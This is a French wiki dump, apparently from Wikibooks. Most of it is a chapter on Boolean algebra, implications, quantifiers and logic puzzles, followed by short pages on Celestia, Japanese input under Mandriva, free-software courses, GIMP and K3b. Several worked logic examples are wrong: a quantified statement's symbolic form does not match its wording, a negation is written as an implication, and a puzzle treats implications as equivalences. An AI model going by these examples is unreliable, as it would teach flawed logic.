extension possible des lois de De Morgan pour 3 variables ou plus. '''Exemple 3'''<br> Exprimer ''x'' sous la forme de ''somme de produit'' :<math> \begin{matrix} x &=& [(a' + c)\cdot (b + d')]'\\ &=& (a' + c)' + (b + d')'\\ &=& ac' + b'd\\ \end{matrix} </math> '''Example 4'''<br> Exprimer ''x'' sous la forme de ''somme de produit'' :<math> \begin{matrix} x &=& [(a + bc)\cdot (d + ef)]'\\ &=& (a + bc)' + (d + ef)'\\ &=& a'(bc)' + d'(ef)'\\ &=& a'(b' + c') + d'(e' + f')\\ &=& a'b' + a'c' + d'e' + d'f'\\ \end{matrix} </math> Une autre chose intéressante que nous avons apprise est que nous pouvons ''renverser'' la table de vérité de n'importe quelle expression en remplaçant chacune de ses variables par son opposée, i.e. remplacer x par x' et y' par y etc. Ce résultat ne devrait pas être une surprise, essayez quelques exemples vous-mêmes. '''Lois de De Morgan''' <blockquote style="border: 2px dotted purple;"> :<math>(x + y)' = x'y'</math> :<math>(xy)' = x' + y'</math> </blockquote> ====Exercice==== # Exprimer sous la forme somme de produit simplifiée : ## z = ab'c' + ab'c + abc ## z = ab(c + d) ## z = (a + b)(c + d + f) ## z = a'c(a'bd)' + a'bc'd' + ab'c ## z = (a' + b)(a + b + d)d' # Montrer que x + yz est équivalent à (x + y)(x + z) ==Propositions== Nous nous sommes occupés de propositions depuis le début de ce chapitre, bien que nous n'ayons pas dit que cela en était. Une proposition est simplement un énoncé (ou une phrase) qui est soit VRAIE ou FAUSSE. Nous pouvons utiliser l'algèbre booléenne pour manipuler les propositions. Il existe deux types spéciaux de propositions -- les tautologies et les contradictions. Une tautologie est une proposition qui est toujours VRAIE, c.a.d. "1 + 1 = 2". Une contradiction est l'opposée d'une tautologie, c'est une proposition qui est toujours FAUSSE, c.a.d. "1 + 1 = 3". Comme d'habitude, nous utilisons 1 pour représenter VRAI et 0 pour représenter FAUX. Notez s'il vous plaît que les opinions ne sont pas des propositions, c.a.d. "George W. Bush a débuté la guerre en Irak pour son pétrole." est simplement une opinion, sa véracité ou sa fausseté n'est pas universelle, voulant dire que certains pensent que c'est vrai, certains non. '''Exemples'''<br> "Il pleut aujourd'hui" est une proposition. "Sydney est en Australie" est une proposition "1 + 2 + 3 + 4 + 5 = 16" est une proposition "La Terre est une sphère parfaite" est une proposition "Comment allez-vous ?" n'est ''pas'' une proposition - c'est une question. "Nettoie ta chambre !" n'est ''pas'' une proposition - c'est un ordre. "Les martiens existent" est une proposition Puisque chaque proposition ne peut seulement prendre que deux valeurs (VRAI ou FAUX), nous pouvons représenter chacune d'elles par une ''variable'' et décider si les propositions composées sont vraies en utilisant l'algèbre booléenne, comme ce que nous avons fait. Par exemple "Il fait toujours chaud en Antarctique OU 1 + 1 = 2" sera évaluée comme vraie. ===Implications=== Les propostitions du type si ''quelque chose'' ''quelque chose'' alors ''quelquechose'' ''quelque chose'' sont appelées des implications. La logique des implications est largement applicable en mathématiques, informatique et dans le sens commun général de tous les jours ! Commençons avec un exemple simple :"'''Si''' 1 + 1 = 2 '''Alors''' 2 - 1 = 1" est un exemple d'implication, il dit simplement que 2 - 1 = 1 est une conséquence de 1 + 1 = 2. Il y a un lien de cause à effet. Considérons cet exemple : :Marc dit : "''Si'' je deviens millionnaire, ''Alors'' je donnerai 500 000 € à la Croix Rouge." Il y a quatre situations : :#Marc devient millionnaire et donne 500 000 € à la Croix Rouge :#Marc devient millionnaire et ne donne pas 500 000 € à la Croix Rouge :#Marc ne devient pas millionnaire et donne 500 000 € à la Croix Rouge :#Marc ne devient pas millionnaire et ne donne pas 500 000 € à la Croix Rouge Dans lequel des quatre cas Marc ne remplit-il pas sa promesse ? Clairement, si et seulement si la seconde situation se produit. Donc, nous disons que la proposition est FAUSSE si et seulement si Marc devient millionnaire et ne donne pas. Si Marc ne devient pas millionnaire alors il ne se dédit pas, puisque le préalable n'est pas réalisé, par conséquent cela doit être évalué comme VRAI. Si ''x'' et ''y'' sont deux propositions, ''x'' implique ''y'' (si ''x'' alors ''y''), ou symboliquement :<math>x \Rightarrow y</math> possède la table de vérité suivante : <table border="1" cellpadding="3"> <tr> <th>x</th> <th>y</th> <th><math>x \Rightarrow y</math></th> </tr> <tr> <td>0</td> <td>0</td> <td><center>1</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>0</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>1</center></td> </tr> </table> <math>x \Rightarrow y</math> est FAUX si et seulement si ''x'' est vrai et ''y'' faux. Si ''x'' est FAUX, il n'y a pas de problème sur la valeur prise par ''y'', la proposition est automatiquement VRAIE. Les deux propostions ''x'' et ''y'' n'ont pas besoin d'avoir quelque chose à voir l'une avec l'autre, c.a.d. "1 + 1 = 2 implique L'Australie est dans l'hémisphère Sud" est évaluée comme VRAI ! Si :<math>(x \Rightarrow y) \ \mbox{ET} \ (y \Rightarrow x)</math> alors nous exprimons ceci symboliquement comme :<math>x \Leftrightarrow y</math>. C'est une implication à deux sens qui traduit ''x'' est VRAI si et seulement si ''y'' est vrai. Autrement dit, '''si''' correspond à l'implication <math>(x \Rightarrow y)\,</math>, '''seulement si''' à l'implication <math>(y \Rightarrow x)\,</math>. L'opération ''si et seulement si'' possède la table de vérité suivante : <table border="1" cellpadding="3"> <tr> <th>x</th> <th>y</th> <th><math>x \Leftrightarrow y</math></th> </tr> <tr> <td>0</td> <td>0</td> <td><center>1</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>0</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>0</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>1</center></td> </tr> </table> Les deux nouvelles opérations que nous avons introduites ne sont pas réellement nouvelles, elles sont simplement des combinaisons de ET, OU et NON. Par exemple : :<math>x \Rightarrow y = x' + y</math> ''Vérifier ceci avec une table de vérité''. Comme nous pouvons exprimer l'opération d'''implication'' en termes de ET, OU et NON, nous pouvons dorénavant la manipuler avec l'algèbre booléenne et les loi de De Morgan. '''Exemple 1'''<br> La proposition suivante est-elle une tautologie ? (une proposition qui est toujours vraie) :<math>[(x \Rightarrow y)(y \Rightarrow z)] \Rightarrow (x \Rightarrow z)</math> '''Solution 1'''<br> :<math>=\ [(x \Rightarrow y)(y \Rightarrow z)] \Rightarrow (x \Rightarrow z)</math> :<math>=\ [(x' + y)(y' + z)]' + (x' + z)</math> :<math>=\ (x' + y)' + (y' + z)' + x' + z</math> :<math>=\ xy' + yz' + x' + z</math> :<math>=\ y' + y + x' + z</math> :<math>=\ 1</math> Par conséquent, c'est une tautologie. '''Solution 2'''<br> Une solution plus facile est d'établir une table de vérité de la proposition, et noter que la colonne des sorties n'a que des 1. Par conséquent, la proposition est une tautologie, parceque la sortie est 1 indépendamment des ''entrées'' (i.e. x, y et z). '''Exemple 2'''<br> Montrer que la propostion z est une contradiction (une proposition qui est toujours fausse) : :z = xy(x + y)' '''Solution''' :<math> \begin{matrix} z &=& xy(x + y)'\\ &=& xy(x'y')\\ &=& 0\\ \end{matrix} </math> Par conséquent, c'est une contradiction. Revenons à l'exemple 1, :<math>[(x \Rightarrow y)(y \Rightarrow z)] \Rightarrow (x \Rightarrow z)</math>. Ceci n'est pas simplement un assemblage de symboles, vous devriez être capable de traduire ceci en langage de tous les jours et comprendre intuitivement pourquoi cela est vrai. ====Exercices==== # Décider si les propositions suivantes sont vraies ou fausses : ## Si 1 + 2 = 3, alors 2 + 2 = 5 ## Si 1 + 1 = 3, alors le poisson ne peut pas nager # Monter que la paire de propositions suivante est équivalente ## <math>x \Rightarrow y</math> : <math>y' \Rightarrow x'</math> ===Quantificateurs=== Quelques fois, nous avons besoins de propositions qui impliquent une certaine description d'une quantité globale, c.a.d. "Quel que soient les entiers impairs x, x<sup>2</sup> est aussi impair". La locution ''quel que soit'' est une description de quantité. Une autre locution ''il existe'' est utilisée. Deux symboles spéciaux sont utilisés pour décrire les quantités "tous" et "il existe un" :<math>\forall</math> veut dire "Quel que soit". :<math>\exists</math> veut dire "Il existe". '''Exemple 1'''<br> La proposition : :''Quels que soient les entiers pairs ''x'', x<sup>2</sup> est aussi pair.'' peut être exprimée symboliquement par : :<math>(\forall x)(x\mbox{ est pair} \Rightarrow x^2\mbox{ est pair}) </math> '''Exemple 2'''<br> La proposition : :''Il existe des entiers impairs ''x'', tels que x<sup>2</sup> est pair.'' peut être exprimée symboliquement par : :<math>(\exist x)(x\mbox{ est impair} \Rightarrow x^2\mbox{ est impair}) </math> Cette proposition est fausse. '''Exemple 3'''<br> Considérons la proposition concernant (z = x'y' + xy) : :''Pour toute valeur de ''x'', il existe une valeur pour ''y'', tel que z = 1. peut être exprimée symboliquement par : :<math>(\forall x)(\exist y)(z = 1) </math> Cette proposition est vraie. ====Négation==== Négation est simplement un mot pour l'opposition, c.a.d. la ''négation'' de "Toutes celles qui sont nommées Britney peuvent chanter" est "Il existe une nommée Britney qui ne peut pas chanter". Ceci indique un contre-exemple que toutes les personnes nommées Britney peuvent chanter, nous avons seulement besoin d'en trouver une, nommée Britney, qui ne peut pas chanter. Pour l'exprimer symboliquement : :Soit ''p'' représentant une personne nommée Britney :<math>[(\forall p)(p\mbox{ peut chanter})]' = (\exists p)(p\mbox{ ne peut pas chanter})</math> De manière similaire, pour réfuter :<math>(\forall x)(x\mbox{ est impair} \Rightarrow x^2\mbox{ est pair}) </math> nous avons seulement besoin de trouver un nombre impair qui ne satisfait pas à la condition. 3 est impair, mais 3 x 3 = 9 est aussi impair, par conséquent, la proposition est FAUSSE et :<math>(\exists x)(x\mbox{ est impair} \Rightarrow x^2\mbox{ est impair}) </math> est VRAIE. En résumé, pour obtenir la ''négation'' d'une proposition impliquant un quantificateur, vous remplacez le quantificateur par son opposé (c.a.d. <math>\forall</math> avec <math>\exist</math>) et la ''proposition quantifiée'' (c.a.d. "x est pair") par sa négation (c.a.d. "x est impair"). '''Exemple 1''' :<math>(\forall x)(\exists y)(x(x + 1)(x + 2)(x + 3) + 1 = y^2) </math> est un énoncé vrai. Sa négation est :<math>(\exists x)(\forall y)(x(x + 1)(x + 2)(x + 3) + 1 \ne y^2) </math> === Contraposition === La proposition "Si ''x''<sup>2</sup> est impair alors ''x'' est aussi impair" est plus difficile à démontrer que "Si ''x'' est pair alors ''x''<sup>2</sup> est aussi pair", alors qu'elles veulent dire la même chose. Plus généralement en construisant des démonstrations pour les propositions du type :<math>p \Rightarrow q</math> il est quelquefois plus facile de démontrer à la place :<math>q' \Rightarrow p'</math> Comment pouvons-nous dire cela ? Nous avons besoin de vérifier que :<math>p \Rightarrow q \equiv q' \Rightarrow p'</math> (à effectuer par le lecteur). Ce type de technique de démonstration est appelé démonstration par contraposition. ==Puzzles logiques== Puzzle est un mot que tout le monde comprend, il fait référence à quelquechose d'évident qu'il est nécessaire de résoudre. Voici une collection de puzzles logiques que nous pouvons résoudre en utilisant l'algèbre booléenne. '''Exemple 1''' Nous avons deux types de personnes -- les chevaliers et les valets. Un chevalier dit toujours la vérité et un valet ment toujours. Deux personnes, Alex et Barbara, sont en train de discuter. Alex dit :"Nous sommes tous les deux des valets" Qui est qui ? Nous pouvons probablement déduire qu' ''Alex'' est un valet, mais l'approche algébrique pour déterminer l'identité d' ''Alex'' est la suivante : :Soit ''A'' VRAIE si Alex est un chevalier :Soit ''B'' VRAIE si Barbara est un chevalier :Il y a ''deux'' situations, soit : ::Alex est un chevalier et ce qu'il dit est VRAI, OU ::il n'est PAS un chevalier et ce qu'il dit est FAUX. :Si nous traduisons cela en symboles : :A(A'B') + A'[(A'B')'] = 1 Nous simplifions : :(AA')B' + A'[A + B] = 1 :A'A + A'B = 1 :A'B = 1 Par conséquent ''A'' est FAUX et ''B'' est VRAI. Par conséquent Alex est un valet et Barbara un chevalier. '''Exemple 2''' Il y a trois hommes d'affaire, nommés '''A'''lbert, '''B'''ernard et '''C'''harles, qui commandent des martinis ensemble chaque semaine en suivant les règles suivantes : #Si A commande un martini, alors B le fait. #Soit B ou C commandent toujours un martini, mais jamais au même repas. #Soit A ou C commandent toujours un martini (ou les deux) #Si C commande un martini, alors A le fait. #<math>A \Rightarrow B</math> ou <math>AB + A'B' = 1\,</math> #<math>B'C + BC' = 1\,</math> #<math>A + C = 1\,</math> #<math>C \Rightarrow A</math> ou <math>CA + C'A' = 1\,</math> En mettant tout cela dans une formule et en simplifiant : <math> \begin{matrix} 1 &=& (AB + A'B') (B'C + BC') (A + C) (CA + C'A) \\ &=& (AB + A'B') (B'C + BC') (A + C) (C + C')A \\ &=& (AB + A'B') (B'C + BC') (A + C) 1A \\ &=& (AB + A'B') (B'C + BC') (A + C) A \\ &&\mbox{Maintenant que nous savons cela }A = 1\mbox{ nous pouvons substituer cela dans :} \\ &=& (1B + 0B') (B'C + BC') (1 + C) 1 \\ &=& (B) (B'C + BC') \\ &&\mbox{Maintenant que nous savons cela }B = 1\mbox{ nous pouvons substituer cela dans :} \\ &=& (1) (0C + 1C') \\ &=& C' \\ &&\mbox{Si }1 = C'\mbox{ alors }C = 0 \\ &&ABC' = 1 \end{matrix} </math> ==Ensemble de problèmes== 1. Décider si les propositions suivantes sont équivalentes : :<math>x'\Rightarrow y'</math> :<math>y\Rightarrow x</math> 2. Exprimer sous la forme la plus simple "somme de produits" la proposition suivante : :<math>(x \Leftrightarrow y) \Rightarrow z</math> 3. Traduire les phrases suivantes sous forme symbolique et décider si elles sont vraies : :a. Pour tous les ''x'', si ''x''<sup>2</sup> = 9 alors ''x''<sup>2</sup> - 6''x'' - 3 = 0 :b. Nous pouvons trouver un ''x'', tel que ''x''<sup>2</sup> = 9 et ''x''<sup>2</sup> - 6''x'' - 3 = 0 sont toutes les deux vraies. 4. NAND est une opération binaire : :x NAND y = (xy)' Trouver une proposition qui est constituée seulement d'opérateurs NAND, équivalente à : :(x + y)w + z 5. Faites de même avec les opérateurs NOR. Rappelez-vous que x NOR y = (x + y)' Cuisine:Recettes de boeuf 3715 15200 2005-05-26T07:22:48Z Jérôme 321 Cuisine:Recettes de boeuf déplacé vers Cuisine:Recettes de bœuf #REDIRECT [[Cuisine:Recettes de bœuf]] Programmation Bash 3717 15202 2005-05-26T13:23:55Z Guaka 165 #redirect [[Programmation bash]] #redirect [[Programmation bash]] Celestia 3718 32847 2006-02-14T17:25:35Z 83.203.205.173 [[en:Celestia]][[Catégorie:Astronomie]] [[Image:Earth-cel.jpg|thumbnail|300px|La Terre vue par Celestia.]] Vous souhaitez visiter une autre planète, voir la Terre "d'en haut", voir les nombreux cratères de la Lune, voir notre [http://fr.wikipedia.org/wiki/Galaxie_%28Voie_lact%C3%A9e%29 galaxie] de l'extérieur ? <br>Alors '''Celestia''' est fait pour vous.<br> Celestia est un simulateur spatial [http://fr.wikipedia.org/wiki/Logiciel_libre libre] vous permettant d'explorer le système solaire ainsi que le reste de l'univers en temps réel, en [[w:3D_sur_ordinateur|3D]], à n'importe quelle vitesse et avec un réalisme de qualité photographique. Vous pouvez aussi bien admirer une éclipse de Soleil, suivre la sonde européenne Huygens sur Titan ou vous imaginer à bord d'un vaisseau spatial [http://fr.wikipedia.org/wiki/Vitesse_supraluminique supraluminique]! Dans ce cas, vous pouvez atteindre [http://fr.wikipedia.org/wiki/Alpha_du_Centaure l'étoile la plus proche] du [http://fr.wikipedia.org/wiki/Soleil Soleil] en seulement quelques secondes. Si nous avions cette technologie, les voyages interstellaires seraient largement possibles à l'échelle d'une vie humaine. Celestia est aussi un outil très complet et pratique pour l'enseignement de l'astronomie (lors d'une démonstration publique par exemple). Il est utilisé par beaucoup de particuliers, d'écoles, de musées ou planétariums (même l'ESA, lors de l'arrivée de la sonde Mars Express en orbite martienne), c'est alors qu'ils l'adaptent éventuellement à leurs besoins éducatifs. Celestia est téléchargeable gratuitement en ligne et fonctionne sous plusieurs systèmes d'exploitation (notamment [[w:Windows|Windows]], [[w:MacOS X|MacOS X]] et [[w:Linux|Linux]]). En attendant, pour plus de renseignements, vous êtes encouragé à visiter le [http://en.wikibooks.org/wiki/Celestia wiki] en anglais de Celestia. ==À propos de ce guide== Ce ''Guide de Celestia'' wiki se veut une source complète d'information pour étudiants, éducateurs, et autres utilisateurs de Celestia. Il n'est pour l'instant qu'un début d'adaptation du wiki Celestia anglais. Cet article comprendra des instructions vous permettant d'obtenir, installer, utiliser, modifier - et dépanner le cas échéant - le logiciel Celestia. Il aura aussi des résumés de concepts et techniques allant de l'astronomie aux représentations 3D, utiles à une meilleure exploration de Celestia, afin de répondre autant aux débutants qu'aux utilisateurs occasionnels ou avancés. Les membres de la communauté Celestia sont encouragés à continuer cet effort de présentation en français. == Liens Web == * http://www.shatters.net/celestia/ - Site officiel du logiciel Celestia * http://www.lns.cornell.edu/~seb/celestia/ - Site principal d'information et de documentation * http://www.celestiamotherlode.net/ - Site centralisateur des logiciels complémentaires à télécharger * http://www.ikiru.ch/celestia/ - Site en français centralisateur de logiciels complémentaires à télécharger via e-Mule * http://jeam.tag.free.fr/CELESTIAhtml/Celestia-Addons.htm - Catalogue illustré en français- des logiciels complémentaires * http://cestadire.ch/index.php?option=com_content&task=view&id=23&Itemid=32 - Une présentation de Celestia en français avec vidéos de démonstration * http://de.wikipedia.org/wiki/Celestia - Informations Wiki en allemand * http://en.wikipedia.org/wiki/Celestia - Informations Wiki en anglais = Sujets Celestia = Voici la liste des sujets à couvrir dans ce guide : [[Celestia:MissingPage|''(les items en rouge sont à venir)'']] * [[Celestia:Acknowledgements|Remerciements]] * [[Celestia:Add-Ons|Ajouts]] * [[Celestia:Annoyances|Irritants]] * [[Celestia:Bookmarks|Signets]] (''cel:'' URLs) * [[Celestia:Bug Reports|Rapports de problème]] * [[Celestia:Customization|Modifications]] * [[Celestia:Display Options|Options d'affichage]] * [[Celestia:FAQs|Foire Aux Questions]] * [[Celestia:Getting Started|Pour débuter...]] * [[Celestia:Glossary|Glossaire]] * [[Celestia:Installation|Installation]] * [[Celestia:Known Bugs|Problèmes connus]] * [[Celestia:Locations|Endroits]] * [[Celestia:Navigation|Navigation]] * [[Celestia:Orbits|Orbites]] * [[Celestia:Render Paths|Chemins rendus]] * [[Celestia:Scripting|Scénarios usager]] * [[Celestia:Snapshots and Movies|Extraits et minifilms]] * [[Celestia:Textures|Textures]] * [[Celestia:Time Control|Contrôle du temps]] * [[Celestia:Troubleshooting|Diagnostique]] * [[Celestia:Versions|Versions]] * [[Celestia:View Control|Contrôle de la vue]] * [[Celestia:Wish List|List des désirables]] * [[Celestia:Development|Développement]] [http://www.shatters.net/celestia/ Celestia Homepage] Le contenu en anglais des sujets ci-haut mentionnés (pour la version 1.32) peut aussi être obtenu séparément: [http://www.shatters.net/celestia/documentation.html Celestia 1.3.2 User's Guide] Lire et écrire le japonais sous Mandriva 3721 17112 2005-07-21T18:54:22Z 84.14.106.134 +locale == Introduction == La plupart des programmes cités fonctionnent sous d'autres distributions. Le problème de l'encodage. == Etapes préliminaires == Si vous n'avez pas sélectionné le japonais en tant que langue principale ou langue supplémentaire lors de l'installation, ils vous faudra installer des paquetages supplémentaires (polices de caractères et méthode d'entrée). ===Installation des fontes=== Afin d'etre en mesure d'afficher les caractères japonais, il faut disposer des [[fonte]]s kochi-mincho et kochi-gothic. Pour les installer executez les commandes suivantes : urpmi fonts-ttf-japanese fonts-ttf-japanese-extra ===Installation des locales=== Il vous faut également installer la locale japonaise : urpmi locales-ja Si vous voulez les traductions, il faut soit avoir choisi le japonais à l'installation, soit installer kde-i18n-ja, koffice-i18n-ja, ... === Changement de locale et sélection d'une méthode d'entrée === Lancez localedrake, soit depuis le centre de contrôle Mandriva, soit depuis le menu ''Système / Configuration / Autre / Localedrake (Utilisateur)'', soit depuis la ligne de commande : localedrake Sélectionner le ''japonais'' comme langue puis ''France'' comme pays. ''Localedrake'' préselecte la méthode d'entrée '''SCIM''' par défaut. Attention : le japonais devindra la langue utilisée pour le compte courant ! Une fois vos choix accepté, localedrake vous proposera de vous déconnecter afin de vous reconnecter au système, mais dans un environnement japonais. ''Localedrake'' installera les paquetages ''scim-anthy'' et ''scim-input-pad'' si vous acceptez SCIM (ceci sous Mandiva Cooker; Si vous utilisez Mandriva Linux 2005 Limited Edition, les paquetages suivants seront installés : ''scim-anthy'', ''scim-uim'', ''uim-anthy'' et ''scim-input-pad''). Alternativement, vous pouvez utiliser l'une de ces méthodes d'entrée : * Ami (coréen uniquement) * chinput (chinois uniquement) * fcitx * gcin (chinois uniquement) * iiimf (seulement sous Mandriva Cooker) * im-ja * kinput2 * nabi (coréen uniquement) * scim * scim+uim * skim * uim * xcin (chinois uniquement) * x-unikey (vietnamien uniquement) Une fois ceci fait et après avoir relance X, il suffit alors de faire la combinaison SHIFT-ESPACE pour passer du français au japonais. Ceci devrait marcher avec n'importe quelle application. De plus, sous Gnome et sous KDE-3.4, vous aurez un menu en cliquant sur une zone de texte avec le bouton droit de la souris. Ce menu permet de choisir dans quelle langue vous voulez écrire. Les paragraphes suivants détaillent les méthodes d'entrée majeures : === Utiliser kinput2 et canna === Si vous choisissez d'utiliser kinput2, n'oubliez pas de l'installer car localedrake n'installe pas les paquetages requis pour cette méthode d'entrée: urpmi kinput2-wnn Si vous désirez utiliser canna avec kinput2, installez-le également: urpmi canna === Utiliser UIM === Une autre méthode consiste à utiliser l'application UIM en liaison avec le serveur anthy. UIM est un peu plus récent que canna, et permet de changer facilement de méthode de saisie par l'intermédiaire d'un menu qui apparaît lors d'un clic droit de la souris. === Utiliser UIM avec SCIM === Enfin, il est possible d'utiliser SCIM par dessus UIM, afin d'avoir de jolies fenêtres lors du choix des caractères, etc. Ceci se fait en sélectionnant la méthode d'entrée SCIM+UIM. === Utiliser SCIM === SCIM est une plate-forme d'entrée supportant de très nombreuses méthodes d'entrée. Vous pouvez installer des méthodes d'entrée supplémentaires pour SCIM en installant l'un des paquetages suivant, soit avec ''urpmi'' en ligne de commande, soit avec ''rpmdrake'' : * scim-anthy * scim-canna * scim-chewing * scim-fcitx * scim-hangul * scim-input-pad * scim-m17n * scim-pinyin * scim-prime * scim-qtimm * scim-skk * scim-tables * scim-uim == Interface graphique == === KDE === L'équipe de [[KDE]] fait de gros efforts pour fournir une version japonaise de ce gestionnaire de fenetres : traduction des barres des menus, des messages dans kmail,etc. Pour installer l'ensemble des traductions en japonais des applications KDE, executez : urpmi kde-i18n-ja Pour basculer toutes les applications KDE en japonais, il suffit alors d'aller dans le ''Centre de configuration'' et de modifier la langue dans la rubrique ''Régionalisation'' (si vous ne l'avez pas déjà effectué via ''localedrake''). == Navigateur == * La barre des tâches et les menus dans [[Galeon]] sont traduits en japonais. Vous pouvez simplement écrire en japonais dans un formulaire, comme ceux du wikipedia. Il suffit d'appuyer sur shift+espace. Néanmoins, il faut d'abord avoir configuré les locales (voir plus haut). == Editeurs et traitement de texte == * [[vim]] * [[gvim]] * [[emacs]] * [[Xemacs]] * [[yudit]] Pour installer : urpmi yudit * LyX == Messagerie instantanée == * [[ICQ]] * [[Yahoo]] == Console (mode texte de Gnu/linux) == * kanji terminal, aussi appelé [[kterm]] urpmi kterm * konsole (Terminal KDE) urpmi konsole * rxvt urpmi rxvt-ml == manuels == *[[man (commande Unix)|man]] == Liens internes == * [[Lire et écrire le japonais sous Debian]] == Liens externes == * [http://www.ghosthack.net/~moku/wiki/LinuxEtLeJaponais Linux et le Japonais] * http://www.loisant.org/weblog/index.php?2004/04/20/30 * http://www.loisant.org/weblog/index.php?2004/04/20/30-saisie-multilingue-japonais-francais-sous-gnulinux * http://lunacymaze.org/blog.php/2004/03/28/3-input-method-editor-ime-sous-linux * http://www.thbz.org/japonais/japonais-linux.html Logiciels libres 3722 23855 2005-10-22T10:33:03Z 66.36.134.156 /* La bureautique */ {{Logicielslibres}} __NOTOC__ ==L'objectif== Permettre aux formes de pouvoir realiser avec les '''logiciels libres''' les taches qu'ils realisent frequement avec un ordinateur. ==Le contenu== Quelqu'un qui aura acquis ces connaissances peut etre considere comme un utilisateur presque autonome de Linux. Un utilisateur peut commencer à apprendre les logiciels libres disponible sur Windows. ===Le net=== * [[Mozilla Firefox]], pour la navigation * [[Mozilla Thunderbird]], pour le mail * [[Gaim]], pour la messagerie instantanée ===La bureautique=== * principalement [[OpenOffice.org]] ** La correspondance (Publipostage, Cartes de visites, Etiquettes) ** le traitement de texte (les styles, les sections, les illustrations et les tableaux) ** le tableur ** les presentations ===Linux=== * Comprendre le rapport [[GNU/Linux]] * Utiliser un [[LiveCD]] * Se familiariser l'environnement graphique * Comprendre le systeme de fichier * La console ===Multimedia=== * Ecouter la musique * Regarder la video * Extraction de tracks et gravure de CD-ROM (Module non encore dispense) ** [[K3b]] * Creation, retouche et manipulation des images (Ce module non encore dispense) ** [[The GIMP]] ===Périphériques=== * Ajouter un peripherique ** imprimante ** scanner ** appareil photo ===Réseaux=== * Serveurs de fichier * Serveur de courriels ** qu'est ce qu'un MTA,un MUA ... ** comment utilisent ils les protocoles SMTP, POP, IMAP ? ** Comment récuper plusieurs adresses de courriel, les redistribuer vers plusieurs utilisateurs, permettre à plusieurs utilisateurs de partager des dossiers de courriel, de s'en envoyer ... ** Possibilité de gérer des listes de diffusion à partir de son ordi ** quels sont les logiciels utilisables pour les différentes fonctions? ** Paramétrages * Connexion distante ** comment permettre l'utilisation d'un compte utilisateur à partir d'un autre ordi sur le réseau The GIMP 3723 43180 2006-05-26T10:37:43Z 172.208.138.194 {{logicielslibres}} '''The GIMP''' (''The Gnu Image Manipulation Program'', littéralement « programme de manipulation d'images de [[w:GNU|GNU]] », anciennement ''General Image Manipulation Program'') est un logiciel libre de dessin ''[[w:bitmap|bitmap]]'' et de [[w:retouche d'image|retouche d'image]]s destiné en premier lieu aux systèmes [[w:Unix|Unix]] et [[w:GNU/Linux|GNU/Linux]] (ainsi que [[w:Mac OS X|Mac OS X]]) mais tournant parfaitement sous [[w:Windows|Microsoft Windows]]. Sa mascotte officielle est Wilber. [[Image:Gimp.png|framed|right|Wilber, la mascotte|Wilber, la mascotte]] <!-- Le projet vise à fournir un équivalent [[Logiciel libre|libre]] à des logiciels comme [[Adobe Systems|Adobe]] [[Photoshop]], sans pour autant en copier l'interface. --> Il s'en approche, mais certains professionnels lui reprochent un support insuffisant de certaines tablettes graphiques (en progrès dans les dernières versions tout de même), et surtout d'une absence de séparation des couleurs Cyan/Magenta/Jaune/Noir généralisée (bien que le support de cet espace de couleur ait été introduit dans les versions 2.0x) adaptée à l'impression. Comme son nom l'indique, The GIMP fait officiellement partie du projet GNU. Il est à noter qu'il est très simple de faire des scripts (voir ''Technique'') ou des plug-ins en langages scripts tel que Python et Perl. The GIMP occupe une place particulière dans l'informatique libre. Il est en effet considéré comme le premier des logiciels libres à la fois grand public et de qualité professionnelle. Sa disponibilité a incité un certain nombre d'utilisateurs à installer une distribution Linux pour la première fois, les autres utilisant la version Windows. ==Installation== ===GNU/Linux=== ===Windows=== ===Mac OS X=== ==La base== Le format dédié du GIMP est le format [[XCF]] et permet de conserver les calques, canaux, et autres paramètres propres à une image éditée avec GIMP Bien que le GIMP soit compatible avec virtuellement tous les formats possibles, il ne peut accéder par défaut à des fichiers encodés dans des formats sous le coup de brevets logiciels dont l'utilisation se fait sous licence (ce fut le cas par exemple avec le format [[Graphics Interchange Format|GIF]] jusqu'à l'expiration du brevet), car le GIMP ne respecterait pas la [[licence publique générale GNU|GPL]]. Pour éditer dans ces formats il est souvent nécessaire d'installer un module séparé, adapté au pays n'étant pas sous le coup de ces brevets. ==Scriptage== Une des grandes forces du GIMP est sa capacité de « scriptage ». Il est interfacé avec de nombreux langages de programmation, en particulier [[Programmation Guile|Guile]] [[Programmation Scheme|Scheme]] et [[Programmation Perl|Perl]] (et [[Programmation Python|Python]] dans sa version 2.0). Cela permet d'automatiser des traitements répétitifs et d'écrire des modules d'extension. The GIMP a donné lieu, outre la création de [[Programmation GTK plus|GTK+]], à un grand nombre de développements annexes, comme [[Gimp-Print]], [[Cinepaint]] (autrefois ''Film Gimp'') ou [[GEGL]] (...). ==Autre== Bien que conçu au départ pour œuvrer en environnement GNOME, le GIMP fonctionne sans problème sous [[KDE]], sa bibliothèque (C) étant simplement chargée en doublon avec la [[Qt]] de KDE (C++). Si la RAM est suffisante, les performances n'en souffrent pas de façon notable, hormis un peu de contention sur les caches de données et d'instructions. Les versions supérieures et égales à Gimp-2.0 permettent de réunir les différentes fenêtres dans une seule par un système d'onglets, facilitant ainsi leur gestion. Il existe un greffon spécialisé dans l'animation appellé GAP (Gimp Animation Plugin), permettant l'import et l'export dans différents formats vidéo, de déplacer, tourner et agrandir des objets sur différentes couches, et d'y ajouter du son. == Liens externes == * [http://www.gimp.org/ Le site officiel du projet GIMP] * [http://wiki.gimp.org Le wiki de GIMP] * [http://www.gimp-fr.org Un portail francophone sur The GIMP] * [http://cinepaint.sourceforge.net cinepaint, le dérivé spécialisé dans la composition d'animation] * [http://gug.sunsite.dk/ Un ''Gimp User Group'' avec de très bon didacticiels] (en anglais) [[de:GIMP]] [[en:The GIMP]] [[fi:The GIMP]] [[sv:Rita med Gimp]] [[th:Gimp]] Modèle:Logicielslibres 3724 15208 2005-05-27T13:18:46Z Guaka 165 :[[Logiciels libres]] - <small>[[Mozilla Firefox|Firefox]] - [[Mozilla Thunderbird|Thunderbird]] - [[Gaim]] - [[OpenOffice.org]] - [[The GIMP]] - [[GNU/Linux]] - [[K3b]] </small> ---- K3b 3725 15209 2005-05-27T17:51:49Z Guaka 165 copié du Wikipédia {{logicielslibres}} '''K3b''' est un logiciel libre de gravure pour [[w:CD|CD]] et [[w:DVD|DVD]] fonctionnant sur les systèmes d'exploitation [[GNU/Linux]] et autres Unix. Il fait partie de [[w:KDE|KDE]]. Il fournit une interface graphique pour la gravure des CD/DVD, comme créer 